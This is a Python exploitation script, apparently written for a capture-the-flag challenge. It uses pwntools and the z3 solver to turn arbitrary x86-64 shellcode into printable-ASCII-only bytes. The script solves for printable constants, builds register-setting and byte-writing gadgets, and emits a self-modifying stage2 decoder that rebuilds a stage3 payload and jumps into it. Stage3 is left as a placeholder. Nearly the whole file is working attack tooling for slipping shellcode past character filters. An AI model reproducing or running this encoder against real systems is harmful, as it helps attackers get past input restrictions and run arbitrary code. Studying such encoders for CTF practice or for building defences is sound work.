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208 lines (175 loc) · 5.55 KB
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#!/usr/bin/env python
from pwn import *
from z3 import *
import operator
def is_ok(b):
return b >= 0x20 and b < 0x7f
def is_ok32(i32):
return reduce(operator.and_, is_ok_str(p32(i32)))
def is_ok_str(s):
return map(is_ok, map(ord, s))
def check(shellcode):
for b in shellcode:
assert(is_ok(ord(b)))
return True
# really f--king overkill
s = Solver()
def solve_add_eax(i32):
s.reset()
x = BitVec('x', 32)
variables = []
for j in range(0, 3):
variables.append(BitVec('a%d' % (j,), 32))
expr = x
for var in variables[0:]:
expr = expr - var
s.add(ForAll(x, expr == x + BitVecVal(i32, 32)))
for var in variables:
for k in range(0, 32, 8):
s.add(Extract(k+7, k, var) >= BitVecVal(0x20, 8))
s.add(ULT(Extract(k+7, k, var), BitVecVal(0x7f, 8)))
if str(s.check()) == 'sat':
m = s.model()
return map(int, map(str, map(m.evaluate, variables)))
else:
raise ValueError("couldn't solve eax=%08x" %(i32,))
def solve_set_eax(i32):
s.reset()
z = BitVec('z', 32)
variables = [z]
for j in range(0, 2):
variables.append(BitVec('a%d' % (j,), 32))
expr = BitVecVal(0, 32)
for var in variables[1:]:
expr = expr - var
s.add(expr ^ z == BitVecVal(i32, 32))
for var in variables:
for k in range(0, 32, 8):
s.add(Extract(k+7, k, var) >= BitVecVal(0x20, 8))
s.add(ULT(Extract(k+7, k, var), BitVecVal(0x7f, 8)))
if str(s.check()) == 'sat':
m = s.model()
return map(int, map(str, map(m.evaluate, variables)))
else:
raise ValueError("couldn't solve eax=%08x" %(i32,))
def solve_set_rax(i64):
s.reset()
z = BitVec('z', 64)
variables = [z]
for j in range(0, 1):
variables.append(BitVec('a%d' % (j,), 64))
expr = z
for var in variables[1:]:
expr = expr * var
s.add(expr == BitVecVal(i64, 64))
for var in variables:
for k in range(0, 64, 8):
s.add(Extract(k+7, k, var) >= BitVecVal(0x20, 8))
s.add(ULT(Extract(k+7, k, var), BitVecVal(0x7f, 8)))
if str(s.check()) == 'sat':
m = s.model()
return map(int, map(str, map(m.evaluate, variables)))
else:
raise ValueError("couldn't solve eax=%016x" %(i64,))
def add_eax(i32):
shellcode = ''
soln = solve_add_eax(i32)
for sub in soln:
shellcode += 'sub eax, 0x%08x\n' % (sub,)
assert (is_ok32(sub))
return asm(shellcode, arch='amd64')
def set_eax(i32):
shellcode = 'push rbx; pop rax;'
soln = solve_set_eax(i32)
for sub in soln[1:]:
shellcode += 'sub eax, 0x%08x\n' % (sub,)
assert (is_ok32(sub))
shellcode += 'xor eax, 0x%08x' % (soln[0])
assert (is_ok32(soln[0]))
return asm(shellcode, arch='amd64')
# rdi = rax = controlled, r8 and r9 clobbered
def set_rdi(i32):
return set_eax(i32) + asm('push rax; pop rdi', arch='amd64')
def set_rsi(i32):
return set_eax(i32) + asm('push rax; pop rsi', arch='amd64')
def add_rdi(i32):
return asm('push rdi; pop rax;', arch='amd64') + add_eax(i32) + asm('push rax; pop rdi', arch='amd64')
add_rdi_4 = add_rdi(4)
# writes arbitrary 4 bytes at [rdx+offset], rcx, rax, rsi clobbered
# rdi incremented by 4
def write4(i32):
shellcode = ''
# zero 4 bytes at rdx+rdi
shellcode += asm('''
movsx rsi, dword ptr [rdx+rdi]
xor [rdx+rdi], esi
''', arch='amd64')
shellcode += set_eax(i32)
# [rdx+rdi] = rsi = [rcx] = rax
shellcode += asm('''
push rax
pop rsi
xor [rdx+rdi], esi
''', arch='amd64')
shellcode += add_rdi_4
return shellcode
def xlate(stage2, stage3):
# rdx = ptr to shellcode DON'T CLOBBER ME, i know where you live
payload = ''
# zero rsi and rax, clobber r8 and r9
payload += asm('''
push rsp
pop r9
pop r8
push rsi
xor rsi, [r9]
push rsi
pop rax
''', arch='amd64') # zero eax
payload += asm('push rax; push rax; pop rbx; pop rdi;', arch='amd64') # save zero in rbx for later uses
for i in range(0, len(stage2), 4):
frag = stage2[i:i+4]
xlate_frag = write4(u32(frag))
payload += xlate_frag
print '%s => %s' % (frag.encode('hex'), xlate_frag.encode('hex'))
stage3_thunk = ''
for i in range(0, len(stage3), 8):
frag = stage3[i:i+8]
xlate_frags = map(p64, solve_set_rax(u64(frag)))
print '%s =>' % (frag.encode('hex'),),
for xlate_frag in xlate_frags:
stage3_thunk += xlate_frag
print xlate_frag.encode('hex'),
print
len_set_rdi = len(set_rdi(0xdeadbeef))
len_write4 = len(write4(0xdeadbeef))
# assemble args for and jump to stage2
offset_of_jump = len(payload) + len_set_rdi + len_write4 + 2 * len_set_rdi
print "Jump at +%d\n" % (offset_of_jump,)
payload += set_rdi(offset_of_jump) # point to jmp instruction location
payload += write4(u32(asm('jmp rdx; nop; nop;', arch='amd64')))
payload += set_rsi(offset_of_jump + 4) # point to stage3 thunk
payload += set_rdi(len(stage2)) # point to after stage2
payload += 'AAAA' # gets overwritten by jmp
payload += stage3_thunk
return payload
stage2 = asm('''
loop:
mov rax, qword ptr [rdx+rsi]
imul rax, qword ptr [rdx+rsi+8]
mov qword ptr [rdx+rdi], rax
add edi, 8
add esi, 16
test eax,eax
jnz loop
''', arch='amd64')
stage2 += '\x90' * (-len(stage2) % 4) # pad
stage3 = asm('''
/* your shellcode here o_O */
''', arch='amd64')
stage3 += '\x90' * (-len(stage3) % 8) # pad
payload = xlate(stage2, stage3)
assert is_ok_str(payload)
print len(payload)
print payload
open('shellcode.txt', 'wb').write(payload)